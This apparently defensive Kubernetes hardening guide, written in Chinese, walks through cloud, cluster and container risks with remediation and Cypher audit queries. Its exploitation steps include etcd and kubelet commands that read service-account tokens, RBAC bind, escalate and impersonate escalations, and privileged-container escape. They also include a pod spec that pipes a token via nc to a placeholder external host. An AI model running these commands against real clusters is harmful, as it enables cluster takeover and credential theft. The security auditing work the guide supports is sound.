一、 Kubernetes 安全风险现状
随着云计算的快速发展,越来越多的企业开始将应用程序迁移到云平台上。而在云平台中,Kubernetes 成为了最受欢迎的容器编排工具之一。然而,随着 Kubernetes 的广泛应用,安全风险也逐渐凸显出来。本文将从 Cloud、Cluster、Container 角度出发,以一种由下至上的方式,列举 Kubernetes 的安全风险,并提供相应的加固建议。
二、基础设施安全风险(Cloud)
2.1 最大程度减少具有容器集群管理权限的 RAM 账户(高风险)
公有云中对容器集群具有高权限的 Action 如下所示:
当云中的账户直接或间接的拥有上述权限,可对容器集群具有管理权限。除了上述针对于容器集群的高风险权限以外,还需要关注本身是管理员权限的账户权限以及可以通过提权到公有云平台管理员权限的账户权限,比如 ram:CreateAccessKey 权限、ram:AttachPolicyToUser 权限、ram:UpdateRole 结合 sts:AssumeRole 权限等都可以提升到云平台管理员权限,这块属于另一部分的内容,不在这篇文章中进行过多的介绍,这里说明一些云平台默认的具有管理员权限的权限策略:
公有云 |
服务 |
权限策略 |
腾讯云 |
CAM |
QcloudCAMPFullAccess |
腾讯云 |
CAM |
AdministratorAccess |
阿里云 |
RAM |
AdministratorAccess |
阿里云 |
RAM |
AliyunRAMFullAccess |
建议依照最小权限原则分配 RAM 账户权限,针对于不需要管理 Kubernetes 集群的 RAM 账户,移除其高权限,或使用 Resource 指定权限作用资源也能一定程度降低权限影响。
2.2 容器集群需限制高权限角色扮演
当容器集群中 CVM 实例设置了角色绑定,则运行在该 CVM 的 Pod 如果存在 SSRF 或 RCE 等漏洞,则可能造成信息泄露或提升到云管理员权限。
腾讯云中可以使用 cvm:DescribeInstances API 查询 CVM 关联的角色信息,排查集群中节点是否存在绑定了高风险的角色。如果角色是必须使用的则需要在容器层面设置 NetworkPolicy 策略(会导致性能损耗),阻止 Pod 访问云 metadata API 地址。
三、集群安全风险(Cluster)
3.1 Etcd 中存储的数据需配置加密存储(低风险)
当攻击者获取到 Etcd 权限后,可通过 Etcd 客户端读取 Etcd 中存放的敏感数据,建议通过 KMS 加密 Etcd 存储数据。
腾讯云 TKE 开启 Etcd 加密
腾讯云 TKE 集群开启 Etcd 数据加密参考文档:https://cloud.tencent.com/document/product/457/45594
阿里云 ACK 开启 Etcd 加密
阿里云 ACK 集群开启 Etcd 加密参考文档:
https://help.aliyun.com/zh/ack/ack-managed-and-ack-dedicated/security-and-compliance/use-kms-to-encrypt-kubernetes-secrets-2#p-8rx-92m-ouf
本地私有化集群开启 Etcd 加密
参考文档:https://www.tencentcloud.com/zh/document/product/457/36841#.E9.AA.8C.E8.AF.81
3.2 Etcd 需开启身份验证 (高风险)
当集群由于错误配置未启用 etcd 证书认证,则存在未授权访问的安全风险。
利用步骤
# 查询 etcd 中存储的 secret 信息
./etcdctl --endpoints=127.0.0.1:2379 get / --prefix --keys-only | grep secret
默认情况下 namespace-controller ServiceAccount 具有管理员权限,我们利用 mipha 组件筛选了 namespace-controller 接管集群的路径,如下所示:
其他默认具有管理员权限的 ServiceAccount 信息:
ServiceAccount Name |
Namespace |
statefulset-controller |
kube-system |
persistent-volume-binder |
kube-system |
daemon-set-controller |
kube-system |
deployment-controller |
kube-system |
system:kube-controller-manager |
kube-system |
expand-controller |
kube-system |
token-cleaner |
kube-system |
generic-garbage-collector |
kube-system |
horizontal-pod-autoscaler |
kube-system |
namespace-controller |
kube-system |
bootstrap-signer |
kube-system |
之后我们可以利用 etcdctl 读取 namespace-controller token 信息,并获取到集群管理员权限。
# 获取 namespace-controller-token-nkx2x token 信息
./etcdctl --endpoints=127.0.0.1:2379 get /registry/secrets/kube-system/namespace-controller-token-nkx2x
# 使用 namespace-controller 读取集群 Pod 列表
TOKEN='eyJhbGciOiJSUzI1NiIsImtpZCI6InZvQk5xbEhQWHUwbFJJTERPQmRZQWdYUko2NXFoR05Bay0yVWhvNGQ2aDgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlci10b2tlbi1ua3gyeCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlciIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjQzNDIyMGVkLTFmNGMtNDQxMi1iOWQ4LTQ5ZWE3ZDQyMDYxNyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNxxxxxxxxxxxxxxxxuYW1lc3BhY2UtY29udHJvbGxlciJ9.VOtnGs9u316nvehmJbp_u74n_Ska18FLB1vQEy3f2sc5graAtNX6xluB1NgyxAkG3TUyoZB07LmjMDp6nlvfo52lDF8uWGoedqL5Feztdw-pjSCDEa3-iRaFUwwKZ4CMATYiR9FLMiVcTeuNNP7OhTXQ_O4XW8RLjTqxw48F4EO2H1xaY_099mj0yALz0IoesIkK6fdfxyfRmnzDZLBw0lJYy36B5kB_ZHuj82Qck2fmOINGq7pGJgQOXxR5381q8JXy7OqbRZEKGXCALXe2yj-AmM0NtEruSLVCliWgTmbvvqQagTpG4yOat5Y6O0TfeIH_A9LuVdncQ1fnT0PAQA'
curl -ik -H "Authorization: Bearer $TOKEN" https://10.0.0.80:6443/api/v1/pods
修复建议
在 etcd 启动参数中添加如下参数:
- --cert-file=/etc/kubernetes/pki/etcd/server.crt
- --client-cert-auth=true
- --key-file=/etc/kubernetes/pki/etcd/server.key
- --advertise-client-urls=https://10.0.0.80:2379
- --listen-client-urls=https://127.0.0.1:2379,https://10.0.0.80:2379
- --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
3.3 ApiServer 需开启身份验证 (高风险)
小于 1.16.0 版本的 Kubernetes 存在 8080 端口未授权的问题,在实际测试的时候,可以利用 curl http://xxxx:8080 命令观察响应状态码,如果响应状态码为 200 则存在未授权的风险。
对于正常开启了 ApiServer 身份验证的 Kubernetes 集群来说则需要关注 system:anonymous 用户权限。默认情况下 system:anonymous 用户通过 rolebinding 绑定 kube-public 命名空间下的 kubeadm:bootstrap-signer-clusterinfo 角色,该角色只有 get:configmaps/cluster-info 权限。 system:anonymous 除原始配置外不应该再分配其他权限。
3.4 Kubelet 需开启身份验证 (高风险)
利用步骤
# 执行 curl 请求, 如果存在 kubelet 未授权访问则会列出当前节点运行的 Pod 信息
curl -k https://10.0.0.80:10250/runningpods/
# 在 Pod 中执行系统命令
curl -X POST -k https://10.0.0.80:10250/run/kube-system/calico-node-cq2w6/calico-node -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
修复建议
需要在 kubelet config.yaml 确认如下配置:
authentication:
anonymous:
enabled: false # 不应该配置为 true
authorization:
mode: Webhook # 默认为 Webhook, 不应该配置为 AlwaysAllow
3.5 高权限 User & ServiceAccount(中风险)
1. 尽可能减少用户绑定到 cluster-admin 角色
cluster-admin 角色具有超级管理员权限,当使用 ClusterRoleBinding 进行绑定时,用户或组可以对集群内任何资源执行任何操作;当使用 RoleBinding 绑定时,用户或组则有权限对 Namespace 区域的任何资源执行任何操作。
梳理集群中绑定了 cluster-admin 角色的用户:
match p=(n)-[relation:ActTo]->(r:Role) where r.name='cluster-admin'
return distinct labels(n),n.kind as 账号类型,n.name as 账号名称,r.name as 角色名称,relation.namespace as 关系命名空间,relation.bindingType as 绑定关系类型,relation.bindingName as 绑定关系名称,relation.lastManager as 创建者信息
2. 尽可能减少具有 secrets 权限的访问用户
具有 secrets 读取权限的用户,可以通过读取高权限 ServiceAccount 的 secrets 以进行提权。
利用步骤:
kubectl get secrets default-token-sr6zg -o yaml
可以通过 get secrets 命令获取到 secrets 中存储的 token 信息。
serviceaccount secret 的名字由三部分组成 <service account name>-token-<随机值>,其中 service account name 是已知的,我们只需要选取 kube-system 命名空间中默认生成的高权限 service account 即可,随机值通过查看相关源码也是可穷举的,相关代码如下:
// https://github.com/kubernetes/kubernetes/blob/2fef630dd216ddefd051ef5a2dda3fe1fdf7439a/pkg/controller/serviceaccount/tokens_controller.go#L227
func (e *TokensController) syncServiceAccount() {
sa, err := e.getServiceAccount(saInfo.namespace, saInfo.name, saInfo.uid, false)
switch {
/*
....
*/
default:
// 生成 ServiceAccount Token
retry, err = e.ensureReferencedToken(sa)
if err != nil {
klog.Errorf("error synchronizing serviceaccount %s/%s: %v", saInfo.namespace, saInfo.name, err)
}
}
}
// https://github.com/kubernetes/kubernetes/blob/2fef630dd216ddefd051ef5a2dda3fe1fdf7439a/pkg/controller/serviceaccount/tokens_controller.go#L361
func (e *TokensController) ensureReferencedToken(serviceAccount *v1.ServiceAccount) ( /* retry */ bool, error) {
// Build the secret
secret := &v1.Secret{
ObjectMeta: metav1.ObjectMeta{
// secret.Strategy.GenerateName 是生成最终 ServiceAccount Name 的方法
Name: secret.Strategy.GenerateName(fmt.Sprintf("%s-token-", serviceAccount.Name)),
Namespace: serviceAccount.Namespace,
Annotations: map[string]string{
v1.ServiceAccountNameKey: serviceAccount.Name,
v1.ServiceAccountUIDKey: string(serviceAccount.UID),
},
},
Type: v1.SecretTypeServiceAccountToken,
Data: map[string][]byte{},
}
}
// https://github.com/kubernetes/kubernetes/blob/4457f85eb3dfa34e46d6d776a3b7e89088dc9279/staging/src/k8s.io/apiserver/pkg/storage/names/generate.go#L49
const (
// TODO: make this flexible for non-core resources with alternate naming rules.
maxNameLength = 63
randomLength = 5
MaxGeneratedNameLength = maxNameLength - randomLength
)
func (simpleNameGenerator) GenerateName(base string) string {
if len(base) > MaxGeneratedNameLength {
base = base[:MaxGeneratedNameLength]
}
// utilrand.String 方法生成随机后缀
return fmt.Sprintf("%s%s", base, utilrand.String(randomLength))
}
// https://github.com/kubernetes/kubernetes/blob/4457f85eb3dfa34e46d6d776a3b7e89088dc9279/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L80C8-L80C8
const (
alphanums = "bcdfghjklmnpqrstvwxz2456789"
alphanumsIdxBits = 5
alphanumsIdxMask = 1<<alphanumsIdxBits - 1
maxAlphanumsPerInt = 63 / alphanumsIdxBits
)
func String(n int) string {
b := make([]byte, n)
rng.Lock()
defer rng.Unlock()
randomInt63 := rng.rand.Int63()
remaining := maxAlphanumsPerInt
for i := 0; i < n; {
if remaining == 0 {
randomInt63, remaining = rng.rand.Int63(), maxAlphanumsPerInt
}
if idx := int(randomInt63 & alphanumsIdxMask); idx < len(alphanums) {
b[i] = alphanums[idx]
i++
}
randomInt63 >>= alphanumsIdxBits
remaining--
}
return string(b)
}
可以看到随机后缀是由 bcdfghjklmnpqrstvwxz2456789 中随机生成的 5 位随机字符,我们可以写一个脚本来进行爆破:
修复建议:
梳理集群中拥有 secrets 读取权限的用户:
// 列出集群中存在 GetSecret 权限的用户信息
match p=(r:Role)-[:GetSecret]->(n)
with r
match p=(n)-[relation:ActTo]->(r)
where not r.name STARTS with 'system:'
return distinct n.kind as 账号类型,n.name as 账号名称,r.name as 角色名称,relation.namespace as 关系命名空间,relation.bindingType as 绑定关系类型,relation.bindingName as 绑定关系名称,relation.lastManager as 创建者信息
针对于具有 secrets 权限的用户,应先关注 ClusterRole + ClusterRoleBinding 绑定的用户,该类型用户可以读取集群中所有 Service Account 的 Token 信息,从而对整个集群具有管理权限。
3. 尽可能减少具有 create pods 权限的用户
当用户具有 Create Pods 相关权限,则用户可以通过分配特权账户或使用 hostPath 挂载宿主机上敏感目录等方式获取到命名空间或集群的管理权限。
利用步骤:
假设目前已经有一个具有 create pods 权限的 service account token。
# 测试权限配置样例
apiVersion: v1
kind: ServiceAccount
metadata:
name: create-pod-account
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: create-pod-clusterrole
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["create"]
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: create-pod-rolebinding
namespace: default
subjects:
- kind: ServiceAccount
name: create-pod-account
namespace: default
roleRef:
kind: ClusterRole
name: create-pod-clusterrole
apiGroup: rbac.authorization.k8s.io
利用 create-pod-account token 可创建可提权容器或绑定高权限 ServiceAccount 以进一步进行渗透。
# create-pod-account token
TOKEN=`echo "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluWnZRazV4YkVoUVdIVXdiRkpKVEVSUFFtUlpRV2RZVWtvMk5YRm9SMDVCYXkweVZXaHZOR1EyYURnaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUprWldaaGRXeDBJaXdpYTNWaVpYSnVaWFJsY3k1cGJ5OXpaWEoyYVdObFlXTmpiM1Z1ZEM5elpXTnlaWFF1Ym1GdFpTSTZJbU55WldGMFpTMXdiMlF0WVdOamIzVnVkQzEwYjJ0bGJpMDFabmRrTnlJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZ5ZG1salpTMWhZMk52ZFc1MExtNWhiV1VpT2lKamNtVmhkR1V0Y0c5a0xXRmpZMjkxYm5RaUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJMU9UazJaRE13WlMwNFl6Z3lMVFJpT1dNdFlXTTFNUzB6TWpJNU1UWTNZVGxpTmpNaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZaR1ZtWVhWc2REcGpjbVZoZEdVdGNHOWtMV0ZqWTI5MWJuUWlmUS5hZkVYQUNfcElhRi1Tc29BSENlYktFVHFWYXB5N1FVR0JpR042WkV1LTNtTUtucTdwbGNTUTJDSDJGS3BUdGhwX2JIa08yaXNja2hUaDN6SlR4Wl81OG5FRTZfUFpCSkxfa0Y3akU5SDVIUWxESXlRSWY5MHY5aE1Ea1J1T19IWjN0aW9MdUpQaldsY0VncXJTMTVBUExSNDhGcC0xS1pXdFVER0VwRWkzV3ltcXp1ZS1UVUVtT2Q2NnNPZ1dLTm94anpPa0M2cVVXcy1JQmtobjhaREpPbzhkTF9Ra0RSTDJQRm9UVm9LQTBUUndYQWVXQkdKMGRLbkJROE9DRjhabmtCRWU3bjFkM2FZOEZjQW9GMUY4emdVQU9CWHVKNTdjVUM2VlVGRGJWWW9PYXVuUi1PUDJSMEh2d0NEYldzYXM4LUctY3dwSGdJd1VpQ0JzT0Z1R2c=" | base64 -d`
# 绑定了高权限 serviceaccount Pod 配置 json
$ cat privileged-pod.json
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "privileged-1",
"namespace": "default"
},
"spec": {
"containers": [
{
"image": "busybox",
"imagePullPolicy": "Always",
"name": "busybox",
"resources": {},
"command": ["/bin/sh"],
"args": ["-c", "cat /var/run/secrets/kubernetes.io/serviceaccount/token | nc xx.xx.xx.xx 80"],
"securityContext": {
"privileged": true
}
}
],
"serviceAccountName": "deployment-controller"
}
}
# 创建 privileged pod 并将 deployment-controller service account token 外发到 xx.xx.xx.xx:80
$ curl -k -v -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://10.0.0.80:6443/api/v1/namespaces/kube-system/pods [email protected]
远端主机接收到了 deployment-controller service account token
修复建议:
梳理集群中具有创建 Pod、Deployment、DaemonSet、StatefulSet 等资源权限的用户,并优先关注对整个集群范围有create pod 权限的用户、对 Namespace范围有 create pod 权限的用户且该 Namespace 下具有高权限 ServiceAccount,最后是只对 Namespace 范围有 create pod 权限的用户。
match p=(r:Role)-[:ControlPod|ControlPodController]->(n)
with r
match p=(n)-[relation:ActTo]->(r)
where not r.name starts with 'system:'
return distinct n.kind as 账号类型,n.name as 账号名称,r.name as 角色名称,relation.namespace as 关系命名空间,relation.bindingType as 绑定关系类型,relation.bindingName as 绑定关系名称,relation.lastManager as 创建者信息
4. 尽可能限制用户具有 Bind Verb 权限
当用户存在 create:rolebinding 或 create:clusterrolebinding 权限时,由于 RBAC API 内置的防止权限升级的能力,导致用户无法创建或绑定高于当前用户权限的角色,而当用户同时存在 bind verb 权限时,则可以提权绑定到一个高于当前用户所拥有权限的角色上。
利用步骤:
假设目前拥有一个具有 bind:clusterroles 权限以及 create:rolebindings 权限的 serviceaccount。
# 测试权限配置样例
apiVersion: v1
kind: ServiceAccount
metadata:
name: bind-account
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: bind-clusterrole
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterroles"]
verbs: ["bind"]
---
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: bind-rolebinding
namespace: default
subjects:
- kind: ServiceAccount
name: bind-account
namespace: default
roleRef:
kind: ClusterRole
name: bind-clusterrole
apiGroup: rbac.authorization.k8s.io
利用 bind-account token,可以实现将高权限 admin ClusterRole 绑定到 bind-account serviceaccount 上以进行提权。
kubectl --as=system:serviceaccount:default:bind-account get secrets
kubectl --as=system:serviceaccount:default:bind-account create rolebinding rbac-cluster-admin --clusterrole=cluster-admin --serviceaccount=default:bind-account
# 查看 secrets
kubectl --as=system:serviceaccount:default:bind-account get secrets
修复建议:
列出具有 Bind Verb 权限的 serviceaccount,在推动治理的时候应优先治理具有 Bind Verb 权限且可以绑定到高权限角色的 serviceaccount。
// 查询具有 Bind 方式提权的 Role
match p=(r:Role)-[:BindTo]->(n)
return distinct r.name,r.namespace,r.roleType
// 查询具有 Bind 方式提权的用户
match p=(r:Role)-[:BindTo]->(n)
with r
match p=(n)-[relation:ActTo]->(r)
return distinct n.kind as 账号类型,n.name as 账号名称,r.name as 角色名称,relation.namespace as 关系命名空间,relation.bindingType as 绑定关系类型,relation.bindingName as 绑定关系名称,relation.lastManager as 创建者信息
5. 尽可能限制用户具有 Impersonate Verb 权限
用户存在 Impersonate 权限(https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/authentication/#user-impersonation),则可以通过模拟标头充当其他用户。利用 Impersonate 权限我们可以模拟容器集群内的高权限用户、用户组、ServiceAccount 来达到接管容器集群的目的。
利用步骤:
假设目前拥有一个具有 impersonate:group 权限的 serviceaccount
# 测试权限配置样例
apiVersion: v1
kind: ServiceAccount
metadata:
name: sample-impersonator
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: impersonator
rules:
- apiGroups: [""]
resources: ["groups"]
verbs: ["impersonate"]
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: impersonator-bind
subjects:
- kind: ServiceAccount
name: sample-impersonator
namespace: default
roleRef:
kind: ClusterRole
name: impersonator
apiGroup: rbac.authorization.k8s.io
sample-impersonate serviceaccount 账户默认是没有get secrets 权限的,当我们利用 impersonate 权限扮演 system:master 用户组权限时,可以成功列出集群中的 secrets 信息:
修复建议:
列出并推动治理集群中具有 Impersonate 权限的 serviceaccount 账户
// 查询具有 Impersonate 方式提权的 Role
match p=(r:Role)-[:ImpersonateTo]->(n)
return distinct r.name,r.namespace,r.roleType
// 查询具有 Impersonate 方式提权的用户
match p=(r:Role)-[:ImpersonateTo]->(n)
with r
match p=(n)-[relation:ActTo]->(r)
return distinct n.kind as 账号类型,n.name as 账号名称,r.name as 角色名称,relation.namespace as 关系命名空间,relation.bindingType as 绑定关系类型,relation.bindingName as 绑定关系名称,relation.lastManager as 创建者信息
6. 尽可能限制用户具有 Escalate Verb 权限
当用户存在 Escalate 权限,结合 Create 或 Update Verb 权限,则可以创建新的高权限 Role 或更新现有 Role 的权限。
利用步骤:
# 测试权限配置样例
apiVersion: v1
kind: ServiceAccount
metadata:
name: sample-escalate
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: role-escalate
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterroles"]
verbs: ["get", "patch","create", "escalate"] # escalate 需要与 create | update | patch 组合使用以创建新的 serviceaccount 或更新现有 serviceaccount 权限
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: role-escalate-binding
namespace: default
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: role-escalate
subjects:
- kind: ServiceAccount
name: sample-escalate
namespace: default
sample-escalate serviceaccount 本身不具有 get secrets 权限
kubectl --as=system:serviceaccount:default:sample-escalate get secrets -A
利用 default serviceaccount 权限修改其本身的 role-escalate 权限配置,可以对整个集群拥有全局读权限:
kubectl --as=system:serviceaccount:default:sample-escalate patch clusterrole role-escalate -p='{"rules":[{"apiGroups":["*"],"resources":["*"],"verbs":["*"]}]}'
修复建议:
筛选出集群中拥有 escalate verb 权限的账户并推动治理
// 查询具有 escalate 权限的 Role
match (r:Role)-[:HoldAuthority]->(auth:Authority)
where auth.verb in ['escalate']
return r.name,r.roleType,auth.verb,auth.apiGroup,auth.resource
// 查询具有 escalate 权限的用户
match (r:Role)-[:HoldAuthority]->(auth:Authority)
where auth.verb in ['escalate']
with r
match p=(n)-[relation:ActTo]->(r)
return distinct n.kind as 账号类型,n.name as 账号名称,r.name as 角色名称,relation.namespace as 关系命名空间,relation.bindingType as 绑定关系类型,relation.bindingName as 绑定关系名称,relation.lastManager as 创建者信息
7. 尽可能减少具有 nodes/proxy 权限的用户
当用户具有 get:nodes/proxy 权限时,用户可以通过 kubelet API 读取数据;当用户具有 create:nodes/proxy 权限时,则可以利用 kubelet API 执行例如在 Pod 中执行系统命令等写操作。
利用步骤:
# 测试权限配置样例
apiVersion: v1
kind: ServiceAccount
metadata:
name: read-node
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: node-reader
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["create","get"]
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: read-node-binding
subjects:
- kind: ServiceAccount
name: read-node
namespace: default
roleRef:
kind: ClusterRole
name: node-reader
apiGroup: rbac.authorization.k8s.io
利用 read-node serviceaccount 权限读取 pods 列表信息, 需要 get:nodes/proxy 权限
TOKEN=$(kubectl get secret read-node-token-vv7vf -o jsonpath={.data.token} | base64 -d) curl -ik -H "Authorization: Bearer $TOKEN" https://10.0.0.81:10250/pods
利用 read-node serviceacount 权限在指定 pod 中执行系统命令, 需要 create:nodes/proxy 权限
TOKEN=$(kubectl get secret read-node-token-vv7vf -o jsonpath={.data.token} | base64 -d)
curl -ik -H "Authorization: Bearer $TOKEN" -XPOST https://10.0.0.81:10250/run/default/nginx/nginx -d "cmd=whoami"
修复建议:
筛选集群中具有 get:nodes/proxy 以及 create:nodes/proxy 权限的 service account
// 查询具有 get:nodes/proxy 权限的 Role
match (r:Role)-[:HoldAuthority]->(auth:Authority)
where auth.verb = 'get' and auth.resource='nodes' and auth.subResource='proxy'
return r.name,r.roleType,auth.verb,auth.apiGroup,auth.resource
// 查询具有 get:nodes/proxy 权限的用户
match (r:Role)-[:HoldAuthority]->(auth:Authority)
where auth.verb = 'get' and auth.resource='nodes' and auth.subResource='proxy'
with r
match p=(n)-[relation:ActTo]->(r)
return distinct n.kind as 账号类型,n.name as 账号名称,r.name as 角色名称,relation.namespace as 关系命名空间,relation.bindingType as 绑定关系类型,relation.bindingName as 绑定关系名称,relation.lastManager as 创建者信息
// 查询具有 create:nodes/proxy 权限的 Role
match (r:Role)-[:HoldAuthority]->(auth:Authority)
where auth.verb = 'create' and auth.resource='nodes' and auth.subResource='proxy'
return r.name,r.roleType,auth.verb,auth.apiGroup,auth.resource
// 查询具有 create:nodes/proxy 权限的用户
match (r:Role)-[:HoldAuthority]->(auth:Authority)
where auth.verb = 'create' and auth.resource='nodes' and auth.subResource='proxy'
with r
match p=(n)-[relation:ActTo]->(r)
return distinct n.kind as 账号类型,n.name as 账号名称,r.name as 角色名称,relation.namespace as 关系命名空间,relation.bindingType as 绑定关系类型,relation.bindingName as 绑定关系名称,relation.lastManager as 创建者信息
8.尽可能减少具有 certifatesigningrequests/approval 权限的用户
拥有 update certifatesigningrequests/approval 权限的用户可以批准 Kubernetes API 的客户端证书,利用客户端证书可以以管理员权限管理容器集群。
// 查询具有 update:certifatesigningrequests/approval 权限的角色
match (r:Role)-[:HoldAuthority]->(auth:Authority)
where (auth.verb='update' or auth.verb='*') and (auth.resource='certificatesigning-requests' or auth.resource='*') and (auth.subResource='approval' or auth.subResource='*') and not (auth.resource='*' and auth.subResource='*')
return r.name,r.roleType,auth.verb,auth.apiGroup,auth.resource,auth.subResource
// 查询具有 update:certifatesigningrequests/approval 权限的用户
match (r:Role)-[:HoldAuthority]->(auth:Authority)
where (auth.verb='update' or auth.verb='*') and (auth.resource='certificatesigning-requests' or auth.resource='*') and (auth.subResource='approval' or auth.subResource='*') and not (auth.resource='*' and auth.subResource='*')
with r
match p=(n)-[:ActTo]->(r)
return distinct labels(n),n.name,n.namespace,r.name,r.namespace,r.roleType
9. 尽可能减少具有 webhook configuration 权限的用户
具有 create/update mutatingwebhookconfigurations 或 validatingwebhookconfigurations 权限的用户可以控制读取或修改请求 ApiServer 的对象信息,从而实现容器集群权限提升。
// 查询具有 create/update/patch + validatingwebhookconfigurations/mutatingwebhookconfigurations 权限的角色
match (r:Role)-[:HoldAuthority]->(auth:Authority)
where auth.verb in ['create','update','patch','*'] and auth.resource in ['validatingwebhookconfigurations','mutatingwebhookconfigurations']
return r.name,r.roleType,auth.verb,auth.apiGroup,auth.resource
// 查询具有 create/update/patch + validatingwebhookconfigurations/mutatingwebhookconfigurations 权限的用户
match (r:Role)-[:HoldAuthority]->(auth:Authority)
where auth.verb in ['create','update','patch','*'] and auth.resource in ['validatingwebhookconfigurations','mutatingwebhookconfigurations']
with r
match p=(n)-[relation:ActTo]->(r)
return distinct n.kind as 账号类型,n.name as 账号名称,r.name as 角色名称,relation.namespace as 关系命名空间,relation.bindingType as 绑定关系类型,relation.bindingName as 绑定关系名称,relation.lastManager as 创建者信息
10. 尽可能减少具有 create:serviceaccount/token 权限的用户
用户具有 create serviceaccount/token 权限时,可以通过给高权限用户创建 token 的方式提权到容器管理员权限。
// 查询具有 create:serviceaccount/token 权限的角色
match (r:Role)-[:HoldAuthority]->(auth:Authority)
where auth.verb in ['create','*'] and auth.resource in ['serviceaccount','*'] and auth.subResource in ['token', '*'] and not (auth.resource='*' and auth.subResource='*')
return r.name,r.roleType,auth.verb,auth.apiGroup,auth.resource
// 查询具有 create:serviceaccount/token 权限的用户
match (r:Role)-[:HoldAuthority]->(auth:Authority)
where auth.verb in ['create','*'] and auth.resource in ['serviceaccount','*'] and auth.subResource in ['token', '*'] and not (auth.resource='*' and auth.subResource='*')
with r
match p=(n)-[:ActTo]->(r)
return distinct labels(n),n.name,n.namespace,r.name,r.namespace,r.roleType
11. 尽可能减少通过多跳获取到高权限的账户
// 查询容器集群中所有高权限账户
match p=shortestpath((u:User)-[*1..]->(cluster:Cluster)) return p
// 查询容器集群中所有高权限组
match p=shortestpath((g:Group)-[*1..]->(cluster:Cluster)) return p
利用上述几种场景梳理到的账户需要与运维沟通账户使用的具体场景,按需移除不使用的高权限配置,在某些情况下账户可能是业务正常使用导致无法移除,则需与运维同事确认这些账户的使用范围:
1. 确认账户是集群内使用还是集群外使用
2. 如果是集群外使用则需固定账户的来源IP
3. 如果是集群内使用则需要确认是由哪个 Pod 或 PodController 使用
4. 建立 ServiceAccount 使用基线
结合 ApiServer 审计日志建立高权限账户的活动基线,当发现高权限账户偏离了正常的基线则需要及时跟进处置。
四、工作负载安全风险(Container)
4.1 部署在容器集群的镜像元信息中可能存在敏感数据(中风险)
开发人员在构建镜像的时候可能会将类似数据库账号密码等敏感信息写入到 Dockerfile 中造成信息泄露,我们需要通过镜像扫描工具周期性的扫描容器镜像信息,确认是否将密码信息写入到 Dockerfile 中。
4.2 容器集群上部署的工作负载可能存在安全漏洞(中风险)
利用 trivy 扫描 Image 漏洞,并在图数据库中将镜像信息与漏洞信息相关联,当出现新的高风险漏洞时,我们可以借助图的能力,快速的识别到我们的容器集群中有哪些容器存在安全隐患,以及发现哪些容器存在高风险漏洞并且还对公网开放。
// 查询具有高风险漏洞的容器并且对外部提供服务
match (image:Image)-[:ExistVul]->(vul:Vulnerability)
where vul.severity='CRITICAL'
with image
match (container)-[:BaseOn]->(image)
with container
match p=(container)-[:ControllerBy|OpenTo*1..]->(s:Service)
where s.type <> 'ClusterIP'
return distinct container.name, s.name
4.3 容器集群上存在可逃逸的工作负载(高风险)
1. 尽可能减少 privileged 容器
攻击者获取到 privileged 容器权限后,可通过挂载宿主机文件的方式进行容器逃逸,在生产环境中应尽可能的移除掉开启了 privileged 权限的容器。
攻击步骤:
# 开启了 privileged:true 的 Deployment 配置
apiVersion: apps/v1
kind: Deployment
metadata:
name: privileged-deployment
namespace: default
spec:
replicas: 1
selector:
matchLabels:
app: nginx-app
template:
metadata:
labels:
app: nginx-app
project: nginx
spec:
containers:
- name: nginx
imagePullPolicy: Always
image: nginx
securityContext:
privileged: true
ports:
- containerPort: 80
利用 fdisk -l 命令查看宿主机磁盘设备,并将宿主机根分区挂载到容器中
修复建议:
查询容器集群中设置了 privileged:true 的 container,确认其使用场景和需求,尽可能收敛掉该权限。
